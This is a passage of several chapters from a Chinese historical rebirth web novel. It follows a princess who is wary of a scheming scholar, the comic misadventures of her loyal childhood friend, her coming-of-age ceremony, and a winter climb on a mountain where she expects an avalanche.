宁玉瑶收回视线,继续面无表情地向前走,直到远离观景亭,宁玉瑶冷冷地开口:“查查林鸿轩为何来此。” 秦熠听出宁玉瑶语气中的厌恶,回想刚才见到林鸿轩的模样,他不屑地撇撇嘴,悄悄在心底给林鸿轩记上一笔。 观景亭中众人见宁玉瑶一行人远去,也放松下来,小胡子中年男子长舒口气,庆幸地说:“若我没看错,那侍卫的腰牌上写的应该是长公主府。” “我看到的也是长公主府,”矮个子男人抹了抹额头上的汗水,附和道,“如此说来,今日出行的便是明安郡主?” 众人皆暗道:幸好没有冲撞明安郡主,京都城中谁人不知明安郡主独得圣上圣宠,上次围猎场郡主坠马之事,圣上大怒,发落了不少人。 皇家之事,几位翰林院的小官不敢多加揣测,有人同情地看了林鸿轩一眼。那次郡主坠马,林探花恰好在场,不幸被大理寺一通探查,真是无妄之灾,可他又能如何?只能自认倒霉罢。 林鸿轩面带微笑,佯装不知,他端起茶盏,轻轻啜饮一口,然后不疾不徐地说:“今日如此良辰美景,不知诸位兄台可有所得,不若小弟先来献上一首,以作抛砖引玉?” 观景亭中的气氛再次热络起来,众人纷纷笑道:“林探花过谦了,快让我等好好品鉴品鉴林探花的新作。” “小弟便献丑了。” * 宁玉瑶爬至山顶时略微有些气喘。 相比之下,一路爬山爬树的秦熠却精力充沛。他不知从哪搬来一块光滑的大石头,用衣袍擦去上面的灰尘,殷勤地对宁玉瑶说说:“明安,快坐下休息一会儿。” 宁玉瑶没有跟他客气,坐在石头上眺望着山下漫山遍野的枫树林,心情也变得愉悦起来。 不一会儿,秦熠又端着一个茶盏从相国寺翻墙而出,“明安,渴吗?来喝点茶水,这是我方才去寺里打的山泉水,刚煮好就端过来了。” 宁玉瑶诧异,“这么快就煮好了茶?” “这有什么,”秦熠将茶盏递给青筱,“就这一小杯,用不了多少时间。” “那你呢?不渴么?”宁玉瑶摸了摸茶盏的杯壁,有些烫手。 秦熠怕她被烫到,连忙说:“还烫着呢,等凉了再喝。我皮糙肉厚,喝凉水也无碍。” 宁玉瑶享受着秦熠的照顾,微风吹拂过脸颊,心想,只要熠哥哥别捣乱,还是非常可靠的。 既然来了护国寺,自然要 11. 车神 《江山为棋(重生)》全本免费阅读 林鸿轩的出现让宁玉瑶原本的好心情消失得无影无踪。 宁玉瑶坐在马车上沉默不语,林鸿轩的手段拙劣,前世他便如这次一般,用狸奴或者其他事物制造各种巧遇,爹爹娘亲早已对他起疑,奈何占了她身子的孤魂是个没脑子的东西,居然会被这些小手段骗得情根深种。 “明安。”马车外的秦熠敲了敲窗棂。 宁玉瑶抬头,问:“熠哥哥何事?” 秦熠笑嘻嘻地凑过来,“要不要我给你赶马车,我在军中经常带边城的孩子们玩,他们都很喜欢我赶车。” 宁玉瑶拿起软榻上书轻轻拍了下秦熠的脑袋:“你当我还是小孩子呢。” “难道不是吗……”秦熠小声嘀咕,又抬起头死皮赖脸地说:“明安你就试试吧,真的很好玩。” 宁玉瑶心一软,作出了这个让自己后悔万分的决定。 秦熠得到宁玉瑶的应允,立即爬上车夫的位置,侍卫还来不及说话,宁玉瑶的马车就飞快地窜了出去。 长公主府的车夫和侍卫们被马车扬起的土砸了一脸,灰头土脸地看着郡主的马车瞬间消失得无影无踪,侍卫们脸色铁青,连滚带爬地上马,“快追!” 马车中的宁玉瑶感觉自己仿佛飞了起来,还是丹素和丹诺紧紧抓住她才没让她撞上车顶,一旁的青黛青筱被颠得一脸菜色。 “明安!好玩吗!哈哈哈哈!”车外传来秦熠欢快的笑声。 宁玉瑶气得大吼:“秦熠!!!你给我停下!!!” “你~说~什~么~要~再~快~点~吗?”马车外,秦熠的声音被颠得支离破碎。 不待宁玉瑶反应,马车突然又加快速度,把她骂人的话撞了回去。 长公主府的侍卫们好不容易追上郡主停在路边的马车,便看见郡主的侍女撑着身子在树下吐的天昏地暗。 马车另一侧,歪了发髻的郡主正拿着树枝抽打秦都尉,秦都尉一身绸衣被粗糙的树枝勾得脱了丝,变成一缕一缕的流苏,破破烂烂地挂在身上,侍卫们只做没看见,若不是不得以下犯上,他们手里的马鞭早就对着秦都尉抽过去了。 比宁玉瑶高出一个头的秦熠护住自己的头脸,又怕抻着宁玉瑶的胳膊,不敢躲闪,只是嘴里喊着冤:“明安你怎么会不喜欢呢,边城里那些孩子不玩一天停不下来,哎呀哎呀,明安你小心点,别伤着自己。” 宁玉瑶气喘吁吁地扔下树枝,下令:“回府!” 刚准备踏上马车,宁玉瑶转过身,指着秦熠说:“今日你不准再靠近我马车半步!” 此事不必宁玉瑶吩咐,护卫们也不敢再放秦熠靠近郡主的马车,再来一次,他们就算九条命都不够死的。 秦熠穿着破破烂烂的绸衣,一路可怜兮兮地跟在宁玉瑶被侍卫们围得密不透风的马车后,回了秦将军府。 他回府时正是晚膳时间,在膳堂用膳的秦老夫人和秦夫人看见垂头丧气、满身狼狈的秦熠都吓了一跳。 秦将军皱眉,问:“你不是跟明安郡主一同出去的么?发生何事?” 秦熠茫然地抬起头:“没事啊,一路顺利,明安已经回府了。” 既然郡主安然无恙,儿子也好手好脚地回来了,秦夫人松了口气,疑惑地问:“那你跟谁打架了?” 秦熠端起侍女给他盛好饭、如盆一般大的碗,扒了口饭,才解释道:“没打架,明安生气了,她打的。” 秦老夫人笑呵呵地说:“你又淘气,今天又做了什么惹郡主不高兴了。” “没做什么,就是想逗明安开心,驾车带她玩来着,”秦熠百思不得其解,“明安怎么就生气了呢。” 秦夫人闻言绝望地闭上眼睛,这儿子不能要了。 “咳,”秦老夫人放下筷子,站起身,“今日这些菜不和胃口,老身先回房了,待会儿让厨房做些松软的送来。” 秦柏送自己母亲离开膳堂,反手抄起一根棍子冲着秦熠走来,秦熠顿觉大事不妙,赶忙丢下碗筷往门外逃窜,但秦夫人早已命人将门窗关上。 秦熠逃跑无门,只得在膳堂中上蹿下跳,躲避着亲爹手中的棍子。 秦柏边追边骂:“老子说了多少次!不准你驾车带人!你当老子的话是耳旁风吗?还敢碰明安郡主的马车?谁给你这么大的胆子!” “这不是半路蹦出个恶心的人,我就想逗明安开心嘛!”秦熠蹿上饭厅墙边的柜架,险些把柜架上的花瓶打碎,秦熠连忙扶住花瓶,松了口气,小心翼翼地觑了一眼母亲的脸色,没躲开身后父亲的连环棍击。 秦夫人等丈夫揍得差不多了,才开口问道:“你们今日遇到谁了?居然有人敢冲撞明安郡主?” “一个翰林院的小官,林鸿轩。” 秦柏听到这个名字,皱起了眉头。 秦夫人思索了一下,问:“就是之前围猎场上,碰巧遇上郡主坠马的那个探花?” 秦熠见父亲收起棍子不再打他,从柜架上跳下来,坐到八仙桌旁端起饭盆继续吃饭,嘴里含糊地说:“就是他。” 秦柏冷笑,“雁京城这么大,居然又遇上了,如此凑巧。你把今日遇到林鸿轩的情形,详细说一遍。” 秦熠三两口扒完饭,将两次碰见林鸿轩时他的一举一动都说了,待说到“那小子一看就没憋好屁,就会搔首弄姿”时,秦夫人忍不住拍了秦熠肩膀一巴掌,“让你好好读书,你就知道睡觉,搔首弄姿是这么用的么?” “意思差不多就行了,别在意那些细节,”秦熠浑不在意地摆摆手,“爹,你说林鸿轩想做什么?难道是诚国公的死对头派来的,对付不了诚国公,就想对明安下手?” 秦夫人看着自家的这个不开窍的傻儿子就愁,秦夫人委婉地提醒道:“或许人家就是心悦明安郡主呢?” 秦柏还没说话,秦熠先撸起袖子跳起来了:“这牲口想什么呢!明安才多大。” 秦夫人冷笑:“明安郡主已经十五岁,笄礼之后就可以相看人家了。” 秦熠一听,立刻蔫了下来,半晌才梗着脖子说:“那姓林的也配不上明安,癞蛤蟆想吃天鹅肉,一看就不安好心。” 秦柏给了秦熠后脑勺一下子,“配不配得上,自有圣上和长公主殿下定夺,有你什么事,少操这些心。” “这林探花一表人材,雁京城中不知道有多少人家想要和他结亲呢,也没你说的那么不堪。”秦夫人还在一旁凉凉地说,“而且郡主即将成年,正所谓窈窕淑女,君子好逑,你管得着么?” 秦熠想反驳母亲,但他知道母亲言之有理,最终张了张嘴,什么都没说,臊眉耷眼地走出膳堂。 秦柏和秦夫人四目相对,秦夫人有些担心,“这不会一下刺激狠了吧?” “不会,你也太看得起这小子了。”不是秦柏小瞧自己儿子,实在是他没那脑子。 “唉,开窍愁,不开窍更愁。”秦夫人叹了口气。 秦夫人身边的侍女小声问:“夫人,需 12. 笄礼 《江山为棋(重生)》全本免费阅读 接下来的日子,长公主府和诚国公府表面看似风平浪静,但姜婉珍总觉得气氛有点紧张。 姜婉珍坐在桌边,右手轻轻地抚摸着自己尚未显怀的腹部,连丈夫进门的声音都未曾察觉。 “珍娘?怎么心神不宁的?叫你都没听见。”宁璟瑞握住妻子的手,轻声问。 姜婉珍回过神来,抿了抿唇,犹豫片刻后还是问道:“近日府中是不是有什么事发生?” 原本清理诚国公府的事务理应由世子妃亲自出面,但姜婉珍刚查出怀有身孕,又害喜严重,嘉阳长公主便做主暂且将此事瞒下,以免姜婉珍担惊受怕。 宁璟瑞笑着说:“府里一切安好,父亲母亲都在,能有何事?眼下最要紧的便是下个月瑶儿的笄礼了。” 宁璟瑞的话听起来风轻云淡,但夫妻多年,姜婉珍从中感受到了一丝不寻常的气息。她微微皱眉,追问道:“当真?你别瞒我,我总感觉有些不对劲,你实话告诉我,府中出了什么事。” 宁璟瑞知道妻子管家多年,十分敏锐,他叹了口气,无奈地说:“其实原本确实没什么事,只是近来娘的心思都在瑶儿的笄礼上,我和爹也不管事,你又精力不济,府中难免有所疏漏,这些时日揪出了几个手脚不干净的采买下人,娘已经已经将他们发落了。” 姜婉珍闻言眼神一暗,自责道:“都是我管家不利,才让府中出了这么大的纰漏,让娘操心了。” 宁璟瑞心道果然如此,妻子怀孕之后心思重,这还只借口几个手脚不干净的下人,若实话告诉她,这些人是被安插进来,专程打探瑶儿行踪的探子,那更不知会自责成什么样子。 他赶紧搂住妻子的肩,安慰道:“这不关你的事,管理偌大的诚国公府已属不易,况且你现在又怀着身孕,爹娘都体恤你,没有责怪你的意思,你且放宽心。娘还特地叮嘱我,让我一定要好好照顾你。” 姜婉珍听了丈夫的劝慰,心里稍感安慰,她轻嗔丈夫一眼,说道:“我都第三胎了,哪里还需要如此精心照顾,瑶儿的笄礼才是大事,我如今身子不方便,你可得替我帮母亲分担分担。” “遵命,娘子。”宁璟瑞含笑应下。 天气日渐寒冷,直至深夜一场雨将枯叶全部打落在地后,雪花毫无征兆地飘洒下来。 三日后便是明安郡主的及笄礼。 秦夫人看着手中诚国公府上送来的帖子,思前想后还是不放心,便让侍女将秦熠叫来。 “娘,有什么事,我正忙着呢。”秦熠一进门先行了个不伦不类的礼,随即坐下开始抱怨。 秦夫人瞪了他一眼,怒道:“今日你轮休,能有什么事?” 秦熠嘻嘻笑道:“娘,这不是明安的笄礼就要到了,我要送她的贺礼还差一点儿,得赶紧弄好。” 一提到贺礼,秦夫人就发愁,自家蠢儿子从小到大给玩伴送出去的礼,就没有不被挨骂的,幼时便罢,还能勉强说是顽皮。但长大之后再送那些异于常人的东西,可真是会被人怀疑是恶意为之。 好在秦熠长大之后渐渐发现别人并不喜欢他送的礼物,便不再自己准备贺仪。但秦夫人不明白,为何儿子送给明安郡主的东西还要坚持自己准备,不愿假手他人? 到底是什么样的贱皮子,这么热衷于挨打?送一次被明安郡主揍一次,挨完揍下次再继续自己费心准备一些匪夷所思的东西送过去,这么乐此不疲地犯贱挨打,秦夫人是真看不懂自己儿子。 秦夫人斟酌了下语气,缓缓开口问道:“儿子,你告诉娘,这次你到底给郡主准备了什么贺礼?” “没什么,就是一个金子打的摆件。” 秦熠说得随意,秦夫人眼中满是狐疑,觉得没那么简单,但无论她如何追问,儿子都不肯说到底是个什么摆件,秦夫人无奈,只得放他离开。 秦夫人在房里左思右想,终究还是放心不下,命人偷偷叫来秦熠身边的小厮,问道:“秦熠到底要送给郡主什么东西?” 小厮犹豫半响,最终支支吾吾地吐出几个字。 秦夫人听完撑着额头,怎么就生出了个俗气没品味的儿子呢。 她挥退小厮,挣扎良久之后,决定还是再拯救一下儿子。 在后院一个满是杂物的房间内,秦夫人寻到正在和工匠嘀嘀咕咕忙碌着的秦熠,软声劝道:“儿啊,你的贺礼要不等郡主笄礼之后再送吧。” 秦熠撇了撇嘴,“过了笄礼再送就不是生辰礼了,明安会不高兴的。” 但是人家大喜的日子,你这礼送出去明安郡主更不高兴!秦夫人忍了又忍,提示道:“送礼讲究一个投其所好,你确定你的礼物郡主会喜欢吗?” 秦熠骄傲地昂起头,信心满满地说:“明安肯定会喜欢的!” 行!你就等着哭去吧!秦夫人见秦熠这副脑子缺根筋的模样转身就走。 儿女都是债。 秦夫人咬牙切齿地想,她怎么就生了这么个玩意! 十一月十五日,阳光明媚,碧空如洗,连续下了多日的雪也停了。 今日是明安郡主的生辰,亦是钦天监选出来笄礼吉日。 宜祭祀,宜祈福,宜冠笄,诸事大吉。 辰时刚至,诚国公府门前便车水马龙,前来观礼的贵夫人络绎不绝。 明安郡主宁玉瑶虽然自幼随母亲居住于长公主府,但她始终上的是宁家的族谱,故而笄礼是在诚国公府上的宁家家庙举行。 诸位夫人在侍女们的指引下,陆续进入宁家家庙的正厅落座。 不久,嘉阳长公主和诚国公亲自走到门边迎接一位年逾古稀,却依旧英武不凡的银发妇人,孙老夫人。 夫人们见到孙老夫人,先是一惊,仔细思索后,便觉得嘉阳长公主请当今帝师之母,一品诰命孙老夫人来担任明安郡主的正宾,虽出乎意料,但又在情理之中。 孙老夫人孙陶氏并非传统意义上贤良淑德的女性,她的一生可谓传奇。孙老夫人出 13. 礼物 《江山为棋(重生)》全本免费阅读 宴席过后,夫人们纷纷起身辞行。 有几位夫人的目光不经意地略过正在跟宁玉瑶说悄悄话的沈瑜。 今日的明安郡主无疑是众人关注的焦点,但沈瑜的表现也被在场众人看在眼里,她安安静静地陪在郡主身边,举止沉稳细致又不张扬,眼神清正,一看就是个好姑娘。 不少夫人笑着对沈夫人夸赞道:“沈家可真是养了个好女儿。” 还有人打趣道:“可惜我家没有合适的儿郎,否则定要厚着脸皮登门了。” 沈夫人心中喜悦,却谦虚地回应:“夫人们真是过奖了,小女当不得如此盛赞。” 宁玉瑶仍穿着三加时那身繁复的礼服,她拉着沈瑜的手,轻声说:“小鱼儿,近日天气寒冷,娘亲不准我出门,等明年开春了我们再一起出去玩。” 有外人在场时,沈瑜总是一副弱不禁风的大家闺秀模样,她抿唇轻笑道:“好,待你何时想出门,只需告知我一声便是。” 宁玉瑶知道沈瑜是什么德行,偷偷瞪了她一眼,两人的头又歪在一起,小声笑了起来。 送走所有宾客后,宁玉瑶陪着娘亲慢慢走回长公主府。 祁婧惠看着宁玉瑶略显疲惫的脸庞,不由有些心疼。女儿今日天未亮就需要起来沐浴洁身,焚香祭祖,确实辛苦了。 祁婧惠身边的侍女见状,轻声说:“殿下,软轿已经备好。” 祁婧惠点头,拉着女儿的手说:“累了别硬撑,待会儿回去好好休息。你不是一直想看看外面的花灯,明年上元节,娘允许你出府去赏灯。” 宁玉瑶闻言,眼中闪过一丝惊喜,高兴地给母亲行了个礼:“多谢娘亲!” 长公主和诚国公虽然平日里不拘着宁玉瑶出门,但诸如庙会灯节等人多手杂、不方便防护的场所,仍是不允许她前往。如今女儿已经成年,就满足她这个愿望吧。 宁玉瑶回到房中,刚脱下身上华服准备休息,青筱推门进来禀报:“郡主,秦都尉送来的信。” 宁玉瑶接过青筱手上的信,秦熠的信从不走寻的路子,别人都是规规矩矩将信件帖子送到正门门房处,只有他是翻墙过来,随便找一个护卫帮他带口信。 秦夫人曾多次教导秦熠要守规矩,但幼年时宁玉瑶说不必那么麻烦,长公主便默许了,秦熠这毛病也就一直未改。 宁玉瑶展开信纸,上面龙飞凤舞地写着几个大字:“生辰快乐,申时后门。” 字迹潦草,说不上难看,但如果不是宁玉瑶从小熟悉他的字迹,恐怕也看不出来写的是什么。 宁玉瑶问青筱:“现在什么时候了?” “郡主,快酉时了。” 宁玉瑶蹙眉,都快过去一个时辰了,她知道秦熠等不到她的回信便不会离开,赶紧吩咐道:“快请熠哥哥去后院竹林边的小亭子。” “是,郡主。” 秦熠跟着护卫来到长公主府后院,远远便看见坐在亭子中那抹红色的身影。 明安郡主的面容一如往常,火红的狐毛大氅上,纯白的毛绒滚边衬得她更加清丽脱俗。明明是非常熟悉的面孔,秦熠却感觉似乎哪里不一样了。 秦熠凝视着宁玉瑶的发髻,即便他对女子的发饰并不了解,他也明白,宁玉瑶新换的发髻代表着什么。 明安真的已经长大了。 秦熠垂下眼眸,心里不知在想什么,待走到亭前时,他脸上依旧是灿烂的笑容。 “明安,生辰快乐!” 小亭子内早已备好了暖盆,暖意融融。宁玉瑶看着秦熠被寒风吹得微微发红的鼻尖,不高兴地说:“熠哥哥,下次若我没有回信,你就先回去,待我得空自然会差人去叫你,傻傻地等那么久,受了风寒怎么办?” 秦熠嘿嘿一笑,含糊其辞道:“下次一定不会这样了。” 说着,他将手中的木盒子放到宁玉瑶面前的石桌上,“明安,这是我特地为你准备的生辰礼,快看看喜不喜欢。” 宁玉瑶拿起木盒,里面不知道装的什么,沉甸甸的有些坠手。其实宁玉瑶并不在意秦熠送什么,毕竟从小到大,秦熠的礼物总是那么别出心裁,她只是好奇秦熠还能搞出什么花样来。 宁玉瑶在秦熠满怀期待的目光中打开盒子,下一秒“啪”地一声合上盖子。 宁玉瑶闭上眼睛深吸一口气,命令道:“来人!把他给我叉出去!” 周围的护卫听令立即上前架着秦熠就往外走,秦熠也不挣扎,双腿拖在地上,任由两个护卫将他往外拉,只在嘴里喊冤,“明安你听我解释!它有来头的!” 护卫们知道郡主并非真要把秦都尉丢出去,因此未用力拖拽。他们也知道秦都尉在逗郡主开心,否则秦都尉若真心要反抗,莫说他们两个,就算再来两人也按不住天生神力的秦都尉。 “说吧。”宁玉瑶手指轻敲木盒,头也不抬。 护卫们放开秦熠,他立马跳起来跑回亭内。 宁玉瑶再次打开盒子,露出里面一大一小两只栩栩如生的金老鼠。 宁玉瑶嫌弃地说:“什么丑东西。” 秦熠嬉皮笑脸地拿起那只大的金老鼠,“不丑不丑,你看多威风。” 大金鼠比秦熠的拳头略小一点,张嘴龇牙,眼睛部分用的是红宝石,模样十分凶狠。金鼠身上的毛发甚至嘴边的胡须都根根分明,因为过于逼真,看起来确实有几分狰狞。 宁玉瑶冷哼,“老鼠有什么可威风的。” “谁说老鼠不威风,”秦熠放下金鼠,将自己的胸脯拍得啪啪作响,“你看我就是最威猛的子鼠!” “自卖自夸,”宁玉瑶瞪了秦熠一眼,嘴角却微微翘起,“快说,这丑东西有什么来头。” “哦!”秦熠见宁玉瑶需要仰头与自己说话,怕她累着脖子,连忙坐到石桌的另一侧,把那只拇指大小的小金鼠拿出来和大金鼠摆在一起,小金鼠由于个头小,与大金鼠相比显得没那么狰狞可怖。 秦熠边摆弄两只金鼠边说:“这些金鼠是用我在北穆缴获的战利品熔出来的,我攒了三年,都在这里了,你看它的眼睛。” 秦熠指着大金鼠的两只红眼睛继续说:“这两颗红宝石是从北穆将军的佩刀上抠下来的,那把刀不怎么样,宝石还不错,送给明安也算拿得出手。” 14. 封山 《江山为棋(重生)》全本免费阅读 今年的雪下得异常大,进入腊月之后,天空一直灰蒙蒙的,雪似乎从未停歇。 腊月二十八,清晨。 “郡主,天晴了。”青筠满脸喜气地推门进来,对刚起床的宁玉瑶说。 宁玉瑶闻言,眉目舒展,“终于停了。” 这场大雪已经连续下了十多天,鹅毛般大的雪花一日未歇地飘洒着,前几日小年,宁玉瑶原本打算进宫给娘娘请安,但雪花阻碍视线,娘娘特地差人来懿旨,不准她出门,宁玉瑶只好作罢。 “爹爹和哥哥回国公府了么?”宁玉瑶问正帮她梳头的青黛。 朝廷原定腊月二十日封印,但由于雪势过大,除了部分衙门可以不再点卯办公,雁京府衙、京翼卫等部门需派人每日在雁京城内巡视,以防大雪积压导致房屋垮塌,造成百姓伤亡。临近年关,承武帝不想听到雁京城内发生任何糟心事。 诚国公宁渊统管羽林军,诚国公世子宁璟瑞在京翼卫任职,这些时日都忙得几乎没回过府。 “回郡主,国公爷和世子爷都回来了,”青黛替宁玉瑶梳了个较为简单的发髻,“雪已经停了一个时辰,外头地面上的积雪都洒扫干净了。” 宁玉瑶点点头,回来便好。 过了会儿,她想起两日后除夕夜,雁京城外发生的那件大事,心中有些忐忑,犹豫片刻后问道:“母亲此刻可在府中?” “郡主先用早膳吧,”青筱端着食盘进来,回话道,“殿下在花厅呢,方才秦夫人来了。” 宁玉瑶决定,用过早膳后,便带着青黛和青筱去花厅找母亲。 只是刚一出门,她就被凛冽的寒风吹得打了个寒颤。 青黛连忙为宁玉瑶系好大氅,用大氅上的兜帽将宁玉瑶的脸遮住,她担忧地看着宁玉瑶被风吹得略显苍白的小脸,“郡主,要不您回房吧?让奴婢去禀告殿下便是。” “无碍,”宁玉瑶呼出一口白雾,“走吧。” 青黛见宁玉瑶坚持,便不再劝说,小心地扶宁玉瑶坐进软轿,青筱将准备好的手炉放到宁玉瑶手中。 花厅内,祁婧惠正在和秦夫人闲聊,侍女掀开门帘,“殿下,郡主来了。” 祁婧惠正诧异时,门帘再次掀开,裹得严严实实的宁玉瑶走了进来。 “娘,”宁玉瑶对着母亲屈膝行礼,随后向秦夫人点头致意,“秦夫人。” 秦夫人微微欠身,“见过郡主。” “别多礼,快过来让我瞧瞧,冷不冷?今儿怎么想着出门了?”祁婧惠摸摸宁玉瑶的脸和手,见她脸上有些凉意,但手是暖的,便放下心来。 宁玉瑶依偎在祁婧惠身边,撒娇道:“娘,今日难得放晴,女儿想出城逛逛。” 祁婧惠不解,“这么冷的天有什么好逛的?” “娘,”宁玉瑶轻轻晃动母亲的胳膊,“女儿已经在家里闷了这么些天了,让女儿出去散散心吧。” 祁婧惠禁不住女儿的撒娇,只得妥协,“好好好,别晃了,晃得我眼晕,想去就去吧,记得多带些侍卫。” “谢谢娘!”宁玉瑶开心地蹭了蹭母亲,正准备起身出门,看到正含笑看着她的秦夫人,心思一转,笑着问:“秦夫人,请问熠哥哥可回府了?” 秦夫人笑吟吟地说:“在呢,昨儿晚上就回来了,说是休息到正月二十开印后再去上职。” 宁玉瑶合掌开心地说:“那可否让熠哥哥陪我一起出城?” 秦夫人闻言看了一眼嘉阳长公主,祁婧惠微微颔首,秦夫人笑意更深,回道:“自然可以的。” 秦夫人说罢,侧头对身边的侍女小声吩咐两句,侍女应声退下。 “娘,那我先回去换身衣服。”宁玉瑶见目的达成,起身告退。 “去吧。”祁婧惠挥手不再理她,转头看向一边的秦夫人。 祁婧惠叹了口气,自己的女儿自己清楚,瑶儿若真只是规规矩矩地出去闲逛,通常会叫上沈家的丫头,一旦她主动叫上秦熠,那就有别的打算。不过有秦熠在,倒也不必担心安全问题,便随她去吧。 祁婧惠无奈地说:“瑶儿真是被我们惯坏了。” 秦夫人依旧满脸笑容,“郡主天真浪漫。” 宁玉瑶没跟母亲说实话,这次出门她打算去北城的清云山上看看。清云山上比雁京城内更冷,她吩咐青黛和青筱把自己最厚的衣物都拿出来,然后让她们准备好易于携带的取暖物品。 青黛刚收拾好,侍卫来报,马车已准备妥当,秦都尉也已在侧门等候。 宁玉瑶带着侍女护卫刚到侧门,就见秦将军府围墙上盘腿坐着的黑衣少年秦熠,他手中拿着长剑,正百无聊赖地哐哐哐敲着围墙墙壁,长公主府和秦将军府都侍卫都站在下面,无奈地看着他。 秦熠坐得高看得远,一眼就看见宁玉瑶,他收起剑,直接从围墙上跳下来,欢快地说:“明安今儿想去哪?” 宁玉瑶看看秦熠只带了两个人,她示意秦熠低下头。 秦熠听话地弯腰,将耳朵凑到宁玉瑶面前,宁玉瑶轻轻说了两句,秦熠虽然不解,但他从不质疑宁玉瑶的决定,他笑道:“行,明安你先上马车,去我家后门等我。” 说完,秦熠又翻过围墙,回了秦将军府。 宁玉瑶走上马车,吩咐道:“去秦将军府后门。” 刚到秦将军府后门不久,秦熠骑着月影,带着一队身体各有残缺的人走了出来。长公主府的侍卫一见来人,就皱起了眉头,这些都是从定北军中退下来的军士,郡主叫上他们有何用意? 宁玉瑶自然注意到了护卫们脸上的疑惑,但她没有解释,只是将手炉从车窗中递给骑着月影的秦熠,“熠哥哥,拿着,别着凉了。” 秦熠接过手炉放到衣襟中,笑着说:“放心吧,我身体好着呢。” 宁玉瑶摸了摸把头凑过来的月影,随后下令:“出发。” 青筱将车窗关上,与青黛、丹素、丹诺一同安静地坐着,不敢出声打扰闭着眼睛的郡主。 宁玉瑶并未睡着,她只是在想雁京城将会发生的事情。上一世这段时间,她被压制在身体中动弹不得,而那缕孤魂行事荒诞,满脑子只有林鸿轩,对身边的大小事宜概不关心。 宁玉瑶也是从周围人的只言片语中得知,除夕当天清云山山脉发生了雪崩,周围村庄全部被掩埋。由于腊月时那场连绵数十日的大雪,清云山的积雪比往年更多,这场雪崩甚至冲破了雁京城北城门,导致北门附近的部分百姓也遭了灾。 好好的新年就这样被破坏,雁京城中甚至传出了承武帝暴虐无道、杀父夺位的流言,说这是上天对承武帝的警告。虽然京翼卫迅速抓捕并处死了一批人,强行将这股流言压下。但雁京城中依旧人心惶惶,不得以之下,本该是辞旧迎新的大好时光,皇帝被迫发布了罪己诏。 直至第二年开春雪化之后,有人在清云山山脉上发现了数十具可疑的尸体。 “她”未嫁前,宁玉瑶隐约听父兄谈起此事,或许这些人与雪崩有关,但可惜积雪已化,尸体也被野 15. 炸山 《江山为棋(重生)》全本免费阅读 雪后的清云山静谧祥和,入目之处皆是银白,天地间一片寂静,只能听见宁玉瑶等人行走在雪地上的声音。 山林中的雪十分厚重,几乎没过了宁玉瑶的膝盖,宁玉瑶被丹素半抱半扶,紧跟在秦熠身后。她小心地踩着秦熠和侍卫们的脚印,走得虽然缓慢,但不算特别艰难。 随着他们一路向上,随处可见被积雪压垮的树干横亘在他们前方,阻挡了他们的去路。 在又一处断裂的树干前,宁玉瑶停下脚步,就在众人以为她要放弃的时候,宁玉瑶对身后互相搀扶着的青黛和青筱说:“你们两个回山下等我。” 青黛青筱吓得脸苍白,立即跪地恳求:“郡主,让奴婢们跟着您吧,奴婢不会拖累您的。” 宁玉瑶虽然觉得她俩有些碍事,但她知道自己若真这么说了,这俩丫头只怕会血溅当场、以死明志,只得无奈地说:“你们在山下准备好驱寒的物什,等我们下山时用得上。” 青黛青筱顿时松了口气,连忙爬起来行礼:“郡主,奴婢先行告退。” 待侍女们离开后,宁玉瑶示意走在最前面的秦熠继续上山。 秦熠目光扫过宁玉瑶,见她并未显露出吃力的神情,放下心来,继续踩着积雪替宁玉瑶探路。 清云山高耸入云,刚开始时宁玉瑶还能勉强自己走,但越往上积雪越厚,她到底只是个养尊处优的千金小姐,很快就跟不上秦熠刻意放慢的脚步,眼看走了两个时辰还未爬到半山腰。为了不耽误行程,宁玉瑶只得让丹素和丹诺轮流背她上山。 如此又攀爬了两个时辰,还有近三分一的路程时,山上已经没有可供人行走的山路,而积雪已经深及大腿,近乎寸步难行。 侍卫们心中叫苦不迭,他们不明白自家郡主为何大雪天的不在家歇着要出来吃这份苦,但他们不敢怒更不敢言,只能蒙头跟着定北军退伍军士继续往前走。 此时丹素和丹诺也已力竭,只得由秦熠背着宁玉瑶继续上山。 * 秦将军府内,刚从雁京城西郊巡视归来的秦柏在府中走了一圈,没见着儿子,他坐在炕边问暖炕上正在看账册的夫人:“秦熠跑哪去了?” 秦夫人头也不抬:“明安郡主叫他出城了。” 秦将军脱鞋的手一顿,“这到处都是积雪的,出城去哪了?” “我也不清楚,郡主没说。” “哦,”秦将军继续脱鞋换衣服,他心大得很,“那就随他们去吧,只要郡主平安,就惹不出什么事。” 秦夫人放下账册轻轻一笑,回想起年幼的明安郡主领着秦熠到处淘气的情形,自家的傻小子虽然总被小他三岁的郡主指使的团团转,但每次闯祸之后,明安郡主总会护着秦熠,从不会让他顶罪。 犹记当年秦熠带着明安郡主爬树,郡主不慎从树上跌落,所幸树不高,郡主并无大碍,但也把两家人吓得不轻,当时还健在的秦家老爷子更是难得动怒要揍秦熠。 但年仅五岁的明安郡主却一边哭一边护着秦熠,坚称是自己命令熠哥哥带她爬树,摔下来也不怪熠哥哥。 秦家人只得向明安郡主保证绝不责罚秦熠,才将郡主安抚下来。不过他们转头就把秦熠关进书房,让他将《礼记》全部背完,才准许他出门。 可对于秦熠来说,让他背书比打他还难受。 秦夫人笑意盈盈地继续看账册,“能惹多大的事,天还能塌下来不成。” 天怕是真的要塌了。 秦熠将宁玉瑶安置在山顶的空地上,他眺望着远处群山顶上的积雪,眉头紧锁。 “熠小子。” 秦熠回头,看向叫住他的只有一只左耳的高瘦中年男人,男人同样神色凝重,轻声对他说:“积雪太厚了,恐怕不妙啊。” 秦熠心中一沉,独耳男人在苦寒的定州驻扎了二十余年,对雪山的各种状况可谓是了如指掌,他若说不妙,那恐怕是真的要糟了。 秦熠瞥了一眼正在看落日的宁玉瑶,小声嘱咐:“先别声张,我们马上下山,招呼侍卫们别闹出什么动静。” 远处雪山顶端的太阳开始缓缓落下,夕阳的余晖洒在雪山上,为山峦镀上了一层金辉。 景色很美,但宁玉瑶的心思并没有放在落日上,雪后的清云山过于干净,仿佛除了他们这一行人没有其他生物的存在。 宁玉瑶心里有些着急,当初的百姓明明就是在这座上山发现尸首,难道自己听错了?或者那些尸体是被野兽拖拽过来的? 秦熠从衣襟中的拿出一个菜饼,递给眉头紧皱的宁玉瑶:“饿了吗?先垫两口,等我们下山了就能吃东西了。” 宁玉瑶接过饼子,饼子大概是放在手炉边,入手是温热的,她握在手中问:“熠哥哥你吃什么?” “放心吧,我家那些叔伯都带了干粮,我去他们那蹭一口就是。” 秦熠话音刚落,一个断了左手手腕的干瘦男人走了过来,他右手拿着一个饼子,笑着对宁玉瑶说:“郡主您别操心他,熠小子吃这个就行了。” 